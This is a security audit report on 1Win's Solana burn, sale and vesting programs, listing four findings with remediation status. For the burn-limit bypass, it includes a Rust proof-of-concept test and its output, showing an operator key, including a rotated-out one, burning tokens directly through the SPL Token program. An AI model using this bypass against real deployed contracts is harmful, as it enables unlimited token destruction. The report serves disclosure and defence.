Summary

100% of all REPORTED Findings have been addressed

Summary#

Introduction#

1Win engaged Halborn to conduct a security assessment on their smart contracts beginning on August 20th, 2026 and ending on August 31st, 2026. The security assessment was scoped to the repository listed with commit hash, and further details in the Scope section of this report.

Assessment Summary#

The team at Halborn assigned a full-time security engineer to assess the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.


The purpose of this assessment is to:

    • Ensure that smart contract functions operate as intended.

    • Identify potential security issues with the smart contracts.

 

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the 1Win team. The main ones were the following:

    • Ensure that all token burns are executed exclusively through the program and subject to its configured limits.

    • Enforce reasonable minimum durations for all participation windows.

    • Provide a recovery path that allows a future claim window to be scheduled when the original activation deadline has expired.

Test Approach and Methodology#

Halborn performed a combination of a manual review of the source code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the program assessment. While manual testing is recommended to uncover flaws in business logic, processes, and implementation; automated testing techniques help enhance coverage of programs and can quickly identify items that do not follow security best practices.


The following phases and associated tools were used throughout the term of the assessment:

    • Research into the architecture, purpose, and use of the platform.

    • Manual program source code review to identify business logic issues.

    • Mapping out possible attack vectors

    • Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.

    • Scanning dependencies for known vulnerabilities (cargo audit).

    • Local runtime testing (anchor test)


Risk Methodology#

Every vulnerability and issue observed by Halborn is ranked based on two sets of Metrics and a Severity Coefficient. This system is inspired by the industry standard Common Vulnerability Scoring System.
The two Metric sets are: Exploitability and Impact. Exploitability captures the ease and technical means by which vulnerabilities can be exploited and Impact describes the consequences of a successful exploit.
The Severity Coefficients is designed to further refine the accuracy of the ranking with two factors: Reversibility and Scope. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.
The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.
The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

5.1 EXPLOITABILITY

Attack Origin (AO):
Captures whether the attack requires compromising a specific account.
Attack Cost (AC):
Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.
Attack Complexity (AX):
Describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.
Metrics:
EXPLOITABILITY METRIC (me)METRIC VALUENUMERICAL VALUE
Attack Origin (AO)Arbitrary (AO:A)1
Specific (AO:S)0.2
Attack Cost (AC)Low (AC:L)1
Medium (AC:M)0.67
High (AC:H)0.33
Attack Complexity (AX)Low (AX:L)1
Medium (AX:M)0.67
High (AX:H)0.33
Exploitability E is calculated using the following formula:

E=∏me

5.2 IMPACT

Confidentiality (C):
Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.
Integrity (I):
Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.
Availability (A):
Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.
Deposit (D):
Measures the impact to the deposits made to the contract by either users or owners.
Yield (Y):
Measures the impact to the yield generated by the contract for either users or owners.
Metrics:
IMPACT METRIC (mI)METRIC VALUENUMERICAL VALUE
Confidentiality (C)None (C:N)0
Low (C:L)0.25
Medium (C:M)0.5
High (C:H)0.75
Critical (C:C)1
Integrity (I)None (I:N)0
Low (I:L)0.25
Medium (I:M)0.5
High (I:H)0.75
Critical (I:C)1
Availability (A)None (A:N)0
Low (A:L)0.25
Medium (A:M)0.5
High (A:H)0.75
Critical (A:C)1
Deposit (D)None (D:N)0
Low (D:L)0.25
Medium (D:M)0.5
High (D:H)0.75
Critical (D:C)1
Yield (Y)None (Y:N)0
Low (Y:L)0.25
Medium (Y:M)0.5
High (Y:H)0.75
Critical (Y:C)1
Impact I is calculated using the following formula:

I=max(mI)+∑mI−max(mI)4

5.3 SEVERITY COEFFICIENT

Reversibility (R):
Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.
Scope (S):
Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.
Metrics:
SEVERITY COEFFICIENT (C)COEFFICIENT VALUENUMERICAL VALUE
Reversibility (r)None (R:N)1
Partial (R:P)0.5
Full (R:F)0.25
Scope (s)Changed (S:C)1.25
Unchanged (S:U)1
Severity Coefficient C is obtained by the following product:

C=rs

The Vulnerability Severity Score S is obtained by:

S=min(10,EIC∗10)

The score is rounded up to 1 decimal places.
CriticalHighMediumLowInformational
9 - 107 - 8.94.5 - 6.92 - 4.40 - 1.9

Scope#

(c) Items in scope:
58 files
1win-token-solana-programs / programs
58 files
burn
13 files
src
12 files
instructions
5 files
burn.rs
rust
initialize.rs
rust
mod.rs
rust
params.rs
rust
roles.rs
rust
state
3 files
burn_counters.rs
rust
burn_state.rs
rust
mod.rs
rust
errors.rs
rust
events.rs
rust
lib.rs
rust
period.rs
rust
Cargo.toml
toml
sale / src
28 files
instructions
15 files
activate_claim.rs
rust
blacklist.rs
rust
claim.rs
rust
close_batch.rs
rust
Out-of-Scope:Third party dependencies and economic attacks.

Assessment Summary & Findings Overview#

#
Title
Severity
Score
Status
Direct token authority bypasses burn controls
Medium
5.0
Solved09/16/2026
Participation windows can be configured with unusable durations
Low
3.4
Partially Solved09/16/2026
Claim activation can become permanently unavailable after the scheduling window expires
Low
3.4
Solved09/16/2026
Recipient assignments can make vested tokens permanently inaccessible
Informational
1.6
Solved09/16/2026

Findings & Tech Details#

HAL-01Solved
Direct token authority bypasses burn controls

Description

The Burn program enforces daily_limit and weekly_limit only inside burn, but the kettle token account remains directly controlled by operator as its owner or delegate. Because that same key is also used as the authority in the CPI to the SPL Token program, it can invoke the token burn instruction directly and bypass the program entirely. These direct burns do not execute the configured limits, update BurnCounters, or emit BurnExecuted, allowing a compromised or malicious operator to burn up to the kettle balance or delegated allowance regardless of the configured limits.


This affects the following flows:

• In burn of the Burn program, the source account is only constrained to use burn_state.token_mint, while operator is passed as the SPL Token burn authority. Since the program does not have exclusive authority over the kettle, the same key can burn directly through the SPL Token program without invoking burn.

• In set_operator of the Burn program, only BurnState.operator is updated. The previous key's ownership or delegation over the kettle is not revoked, allowing it to continue burning tokens directly after the program role has been rotated.

Proof of Concept

The following PoC shows that the operator can bypass the configured daily burn limit by invoking the SPL Token program directly and that rotating the operator does not revoke the previous key’s SPL authority over the kettle:

RUST
//! Behavior tests around the Burn program's rate-limit enforcement scope and
//! the SPL authority of the token account it operates on.

use anchor_lang::error::ERROR_CODE_OFFSET;
use anchor_lang::{InstructionData, ToAccountMetas};
use burn::errors::BurnError;
use burn_tests::{
    burn_counters_pda, burn_event_authority_pda, burn_ix, burn_set_operator_ix, burn_state_pda,
    BurnTestEnv,
};
use sale_test_common::{custom_error_code, decode_event, TestEnv};
use solana_instruction::Instruction;
use solana_signer::Signer;

const BASE_TS: i64 = 2_000_077_200;

fn anchor_err(v: BurnError) -> u32 {
    ERROR_CODE_OFFSET + v as u32
}

fn line() {
    println!("---------------------------------------------------------");
}

#[test]
fn direct_spl_burn_from_operator_key_is_not_subject_to_program_limits() {
    line();
    println!("STEP 1 - Runtime bring-up");
    line();
    let mut env = TestEnv::new();
    env.warp_to(BASE_TS);
    let win_mint = env.win_mint;
    let owner = env.actors.owner.insecure_clone();
    let admin = env.actors.admin.insecure_clone();
    let operator = env.actors.operator.insecure_clone();
    println!("  win_mint        = {}", win_mint);
    println!("  owner           = {}", owner.pubkey());
    println!("  admin           = {}", admin.pubkey());
    println!("  operator        = {}", operator.pubkey());
    println!("  burn program id = {}", burn::id());
    assert!(!env.burn_state_exists());

    line();
    println!("STEP 2 - Initialize Burn program");
    line();
    let daily_limit: u64 = 50_000_000_000;
    let weekly_limit: u64 = 200_000_000_000;
    let init_ix = Instruction {
        program_id: burn::id(),
        accounts: burn::accounts::Initialize {
            authority: owner.pubkey(),
            burn_program: burn::id(),
            program_data: TestEnv::burn_programdata_address(),
            burn_state: burn_state_pda(),
            burn_counters: burn_counters_pda(),
            token_mint: win_mint,
            system_program: solana_sdk_ids::system_program::id(),
            event_authority: burn_event_authority_pda(),
            program: burn::id(),
        }
        .to_account_metas(None),
        data: burn::instruction::Initialize {
            owner: owner.pubkey(),
            admin: admin.pubkey(),
            operator: operator.pubkey(),
            daily_limit,
            weekly_limit,
        }
        .data(),
    };
    env.send_ixs(&[init_ix], &owner.pubkey(), &[&owner])
        .expect("initialize");
    let state = env.burn_state();
    println!("  daily_limit  = {}", state.daily_limit);
    println!("  weekly_limit = {}", state.weekly_limit);
    println!("  operator     = {}", state.operator);

    line();
    println!("STEP 3 - Create the token account and fund it");
    line();
    let kettle = env.create_ata(&operator.pubkey(), &win_mint);
    env.mint_to(&win_mint, &kettle, 100_000_000_000);
    println!("  token account     = {}", kettle);
    println!("  SPL authority     = {} (operator)", operator.pubkey());
    println!("  balance           = {}", env.token_balance(&kettle));
    println!("  mint total supply = {}", env.mint_supply(&win_mint));

    line();
    println!("STEP 4 - Burn program enforces its limits");
    line();
    env.expire_blockhash();
    let r_legit = env.send_ixs(
        &[burn_ix(operator.pubkey(), kettle, win_mint, 40_000_000_000)],
        &operator.pubkey(),
        &[&operator],
    );
    r_legit.as_ref().expect("40e9 within daily_limit");
    let ev: burn::events::BurnExecuted = decode_event(&r_legit).expect("event");
    let counters_a = env.burn_counters();
    println!("  40e9 via burn program:");
    println!("    supply   = {}", env.mint_supply(&win_mint));
    println!("    balance  = {}", env.token_balance(&kettle));
    println!(
        "    counters = day.burned={}, week.burned={}",
        counters_a.day.burned, counters_a.week.burned
    );
    println!(
        "    event    = day_total={}, week_total={}",
        ev.day_total, ev.week_total
    );

    env.expire_blockhash();
    let r_over = env.send_ixs(
        &[burn_ix(operator.pubkey(), kettle, win_mint, 60_000_000_000)],
        &operator.pubkey(),
        &[&operator],
    );
    assert_eq!(
        custom_error_code(&r_over),
        Some(anchor_err(BurnError::DailyLimitExceeded))
    );
    let counters_after_reject = env.burn_counters();
    let supply_after_reject = env.mint_supply(&win_mint);
    let balance_after_reject = env.token_balance(&kettle);
    assert_eq!(supply_after_reject, 60_000_000_000);
    assert_eq!(balance_after_reject, 60_000_000_000);
    assert_eq!(counters_after_reject.day.burned, counters_a.day.burned);
    assert_eq!(counters_after_reject.week.burned, counters_a.week.burned);
    println!("  60e9 via burn program -> DailyLimitExceeded (rollback verified)");

    line();
    println!("STEP 5 - Same 60e9 via spl_token::Burn signed by the operator");
    line();
    env.expire_blockhash();
    let raw_burn_ix = spl_token_interface::instruction::burn(
        &spl_token_interface::id(),
        &kettle,
        &win_mint,
        &operator.pubkey(),
        &[],
        60_000_000_000,
    )
    .expect("build spl_token::Burn");
    println!("  program_id = {} (SPL Token)", raw_burn_ix.program_id);
    println!(
        "  amount     = 60000000000    accounts = {}",
        raw_burn_ix.accounts.len()
    );
    for (i, m) in raw_burn_ix.accounts.iter().enumerate() {
        println!(
            "    [{i}] {}  signer={} writable={}",
            m.pubkey, m.is_signer, m.is_writable
        );
    }
    let direct_result = env.send_ixs(&[raw_burn_ix], &operator.pubkey(), &[&operator]);
    direct_result.as_ref().expect("direct SPL burn accepted");
    assert!(
        decode_event::<burn::events::BurnExecuted>(&direct_result).is_none(),
        "BurnExecuted must not be present in a direct SPL burn tx"
    );

    line();
    println!("STEP 6 - State after direct SPL burn");
    line();
    let counters_b = env.burn_counters();
    let supply_b = env.mint_supply(&win_mint);
    let balance_b = env.token_balance(&kettle);
    let supply_delta = supply_after_reject - supply_b;
    let balance_delta = balance_after_reject - balance_b;
    println!("  SPL-observable:");
    println!(
        "    supply  {} -> {}   (delta {})",
        supply_after_reject, supply_b, supply_delta
    );
    println!(
        "    balance {} -> {}   (delta {})",
        balance_after_reject, balance_b, balance_delta
    );
    println!("  Program-observable:");
    println!(
        "    day.burned  {} -> {}",
        counters_a.day.burned, counters_b.day.burned
    );
    println!(
        "    week.burned {} -> {}",
        counters_a.week.burned, counters_b.week.burned
    );
    println!("    BurnExecuted event: none (verified via decode_event)");

    assert_eq!(supply_delta, 60_000_000_000);
    assert_eq!(balance_delta, 60_000_000_000);
    assert_eq!(balance_b, 0);
    assert_eq!(counters_b.day.burned, counters_a.day.burned);
    assert_eq!(counters_b.week.burned, counters_a.week.burned);
    assert_eq!(counters_b.day.index, counters_a.day.index);
    assert_eq!(counters_b.week.index, counters_a.week.index);

    println!();
    println!("  Total burned in this UTC day: 100_000_000_000");
    println!(
        "    = 2x daily_limit ({}) / 50% of weekly_limit ({})",
        daily_limit, weekly_limit
    );
    println!("  Recorded in burn_counters: 40_000_000_000");
    line();
    println!();
}

#[test]
fn set_operator_does_not_revoke_the_previous_key_spl_authority() {
    let mut env = TestEnv::new();
    env.warp_to(BASE_TS);
    let owner = env.actors.owner.insecure_clone();
    let admin = env.actors.admin.insecure_clone();
    let old_operator = env.actors.operator.insecure_clone();
    let win_mint = env.win_mint;

    let init_ix = Instruction {
        program_id: burn::id(),
        accounts: burn::accounts::Initialize {
            authority: owner.pubkey(),
            burn_program: burn::id(),
            program_data: TestEnv::burn_programdata_address(),
            burn_state: burn_state_pda(),
            burn_counters: burn_counters_pda(),
            token_mint: win_mint,
            system_program: solana_sdk_ids::system_program::id(),
            event_authority: burn_event_authority_pda(),
            program: burn::id(),
        }
        .to_account_metas(None),
        data: burn::instruction::Initialize {
            owner: owner.pubkey(),
            admin: admin.pubkey(),
            operator: old_operator.pubkey(),
            daily_limit: 50_000_000_000,
            weekly_limit: 200_000_000_000,
        }
        .data(),
    };
    env.send_ixs(&[init_ix], &owner.pubkey(), &[&owner])
        .expect("initialize");

    let kettle = env.create_ata(&old_operator.pubkey(), &win_mint);
    env.mint_to(&win_mint, &kettle, 40_000_000_000);
    assert_eq!(env.burn_state().operator, old_operator.pubkey());

    let new_operator = env.new_user();
    env.expire_blockhash();
    env.send_ixs(
        &[burn_set_operator_ix(owner.pubkey(), new_operator.pubkey())],
        &owner.pubkey(),
        &[&owner],
    )
    .expect("set_operator");
    assert_eq!(env.burn_state().operator, new_operator.pubkey());

    env.expire_blockhash();
    let r_program = env.send_ixs(
        &[burn_ix(old_operator.pubkey(), kettle, win_mint, 1_000_000_000)],
        &old_operator.pubkey(),
        &[&old_operator],
    );
    assert_eq!(
        custom_error_code(&r_program),
        Some(anchor_err(BurnError::Unauthorized))
    );

    env.expire_blockhash();
    let direct = spl_token_interface::instruction::burn(
        &spl_token_interface::id(),
        &kettle,
        &win_mint,
        &old_operator.pubkey(),
        &[],
        40_000_000_000,
    )
    .expect("build spl_token::Burn");
    env.send_ixs(&[direct], &old_operator.pubkey(), &[&old_operator])
        .expect("old key still burns directly");

    assert_eq!(env.token_balance(&kettle), 0);
    assert_eq!(env.mint_supply(&win_mint), 0);
    let counters = env.burn_counters();
    assert_eq!(counters.day.burned, 0);
    assert_eq!(counters.week.burned, 0);

    println!();
    println!("  burn_state.operator rotated to a fresh key.");
    println!("  Old key rejected by burn program (Unauthorized).");
    println!("  Old key still burned 40e9 via spl_token::Burn:");
    println!("    kettle balance -> {}", env.token_balance(&kettle));
    println!("    supply         -> {}", env.mint_supply(&win_mint));
    println!(
        "    counters       -> day.burned={}, week.burned={}",
        counters.day.burned, counters.week.burned
    );
    println!();
}

The test execution below confirms that both scenarios successfully reproduce the identified behavior:

SH
❯ cargo test -p burn-tests --test authority_scope -- --nocapture

    Finished `test` profile [unoptimized + debuginfo] target(s) in 0.27s
     Running tests/authority_scope.rs (target/debug/deps/authority_scope-3abea5c719b6f874)

running 2 tests
---------------------------------------------------------
STEP 1 - Runtime bring-up
---------------------------------------------------------
  win_mint        = 9mcn8wrAH35qp4oLxsNHKzb4KFyN16WE14iBCq6PK2mq
  owner           = BkNoAcqTTthUZsBtjTgPYoKox29kGjxWMzyghst2YXTy
  admin           = 8gtKm3cfBubRo5YR5Hzy88hhccpNNTnK68XayCAcfhYm
  operator        = 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x
  burn program id = HuzMDQVv3TA4wWFW1m4pBQ4q5Sz7aHoPwLLGHEzpP8Cb
---------------------------------------------------------
STEP 2 - Initialize Burn program
---------------------------------------------------------
  daily_limit  = 50000000000
  weekly_limit = 200000000000
  operator     = 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x
---------------------------------------------------------
STEP 3 - Create the token account and fund it
---------------------------------------------------------
  token account     = 3CSmCV1AS9rjw9PbzLD3sEZwtBCxpXMmDx2oP1RXqT81
  SPL authority     = 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x (operator)
  balance           = 100000000000
  mint total supply = 100000000000
---------------------------------------------------------
STEP 4 - Burn program enforces its limits
---------------------------------------------------------
  40e9 via burn program:
    supply   = 60000000000
    balance  = 60000000000
    counters = day.burned=40000000000, week.burned=40000000000
    event    = day_total=40000000000, week_total=40000000000
  60e9 via burn program -> DailyLimitExceeded (rollback verified)
---------------------------------------------------------
STEP 5 - Same 60e9 via spl_token::Burn signed by the operator
---------------------------------------------------------
  program_id = TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA (SPL Token)
  amount     = 60000000000    accounts = 3
    [0] 3CSmCV1AS9rjw9PbzLD3sEZwtBCxpXMmDx2oP1RXqT81  signer=false writable=true
    [1] 9mcn8wrAH35qp4oLxsNHKzb4KFyN16WE14iBCq6PK2mq  signer=false writable=true
    [2] 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x  signer=true writable=false
---------------------------------------------------------
STEP 6 - State after direct SPL burn
---------------------------------------------------------
  SPL-observable:
    supply  60000000000 -> 0   (delta 60000000000)
    balance 60000000000 -> 0   (delta 60000000000)
  Program-observable:
    day.burned  40000000000 -> 40000000000
    week.burned 40000000000 -> 40000000000
    BurnExecuted event: none (verified via decode_event)

  Total burned in this UTC day: 100_000_000_000
    = 2x daily_limit (50000000000) / 50% of weekly_limit (200000000000)
  Recorded in burn_counters: 40_000_000_000
---------------------------------------------------------

test direct_spl_burn_from_operator_key_is_not_subject_to_program_limits ... ok

  burn_state.operator rotated to a fresh key.
  Old key rejected by burn program (Unauthorized).
  Old key still burned 40e9 via spl_token::Burn:
    kettle balance -> 0
    supply         -> 0
    counters       -> day.burned=0, week.burned=0

test set_operator_does_not_revoke_the_previous_key_spl_authority ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.45s

Recommendation

It is recommended to make a program derived address the sole authority of the kettle token account, remove any operator ownership or delegation, and have the program sign every SPL Token burn with that address so all burns pass through the daily and weekly limit checks.

Remediation Comment

SOLVED: The 1Win team solved the issue in the specified commit id.

HAL-02Partially Solved
Participation windows can be configured with unusable durations

Description

The Sale program validates only the maximum duration of the sale and claim windows. Both SaleState::validate_sale_window and SaleState::validate_claim_duration, invoked during initialize and the corresponding schedule update instructions, accept durations as short as one second. These configurations can become immutable after their respective phase transitions, potentially preventing users from participating in the sale or claiming their allocated assets.


The following instances are affected:

  • The sale window is validated by SaleState::validate_sale_window, which requires sale_end_date to be greater than sale_start_date but does not enforce a minimum sale_duration. Once sale_start_date is reached, set_sale_schedule can no longer modify the window because require_pre_sale only permits changes during PreSale. Consequently, the sale may expire before users have a practical opportunity to call purchase.

  • The claim window is validated by SaleState::validate_claim_duration, which accepts any positive claim_duration up to MAX_CLAIM_DURATION. Once activate_claim sets pool_fixed, set_claim_schedule can no longer modify the window. Consequently, the sale may transition from Claim to ClaimClosed before participants can call claim, preventing them from receiving their allocated tokens and refundable USDC before the remaining assets become eligible for withdrawal.


Recommendation

It is recommended to enforce reasonable minimum durations for all participation windows.

Remediation Comment

PARTIALLY SOLVED: The 1Win team introduced a one-hour minimum claim period in the specified commit. However, the sale period still has no minimum duration and can be configured to last just one second, potentially preventing users from participating.

HAL-03Solved
Claim activation can become permanently unavailable after the scheduling window expires

Description

The Sale program restricts the claim start time to no later than thirty days after the sale ends, while activate_claim separately requires the configured claim_start_date to still be in the future when the pool is fixed. The validate_claim_start validation used by initialize and set_claim_schedule enforces the first condition without providing any recovery mechanism if the second condition can no longer be satisfied.


If activate_claim is not successfully executed before sale_end_date + MAX_CLAIM_START_DELAY, every claim start time permitted by validate_claim_start is already in the past. At that point, set_claim_schedule cannot configure a future valid claim start, while activate_claim permanently rejects every permitted value with ClaimStartInPast. Since pool_fixed remains false, the Sale program cannot transition to Claim or ClaimClosed, preventing normal claim processing and the subsequent vault cleanup flows. User deposits can still be individually returned through refund, but the sale cannot complete its intended lifecycle and assets held for the claim process can remain indefinitely inaccessible through the normal flow.

Recommendation

It is recommended to provide a recovery path that allows a future claim window to be scheduled when the original activation deadline has expired.

Remediation Comment

SOLVED: The 1Win team solved the issue in the specified commit id.

HAL-04Solved
Recipient assignments can make vested tokens permanently inaccessible

Description

The Vesting program allows a recipient to be assigned without proving that the address can authorize subsequent token transfers. The VestingConfig::validate_payee function, called by create_vesting and set_recipient, only rejects Pubkey::default() and vault_authority. Since both instructions receive the proposed recipient as a SystemAccount, an uninitialized address can satisfy the account validation.


If the configured address has neither a private key nor a program capable of signing on its behalf, claim can create an ATA controlled by that address and transfer vested tokens into it. The transfer increments claimed, but no instruction can recover tokens from the recipient ATA. Consequently, the transferred amount becomes permanently inaccessible.


The following instances are affected:

  • In create_vesting, the Owner can assign an uncontrollable address when creating an activity. A later claim initiated by the operator transfers the unlocked tokens to the resulting ATA without requiring recipient participation.

  • In set_recipient, the Admin can replace a valid recipient with an uncontrollable address at any point in the activity lifecycle. Subsequent claims initiated by the operator transfer newly unlocked tokens to that address.


For a future PDA, the outcome depends on timing. If it remains uninitialized when claim executes, the transfer can succeed and strand the tokens. If the PDA is initialized first and ceases to be system owned, the SystemAccount constraint rejects subsequent claims until the recipient is corrected. No unprivileged caller can configure the destination, and the project documents an operational verification procedure, limiting this to a privileged configuration error.

Recommendation

It is recommended to require a proposed recipient to accept the assignment before it becomes active. Program derived recipients should be limited to supported integrations capable of accepting through their controlling program; otherwise, only on curve addresses should be permitted.

Remediation Comment

SOLVED: The 1Win team solved the issue in the specified commit id.

Disclaimer#

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.

Smart Contract Assessment Audit | 1win | Halborn Audit Reports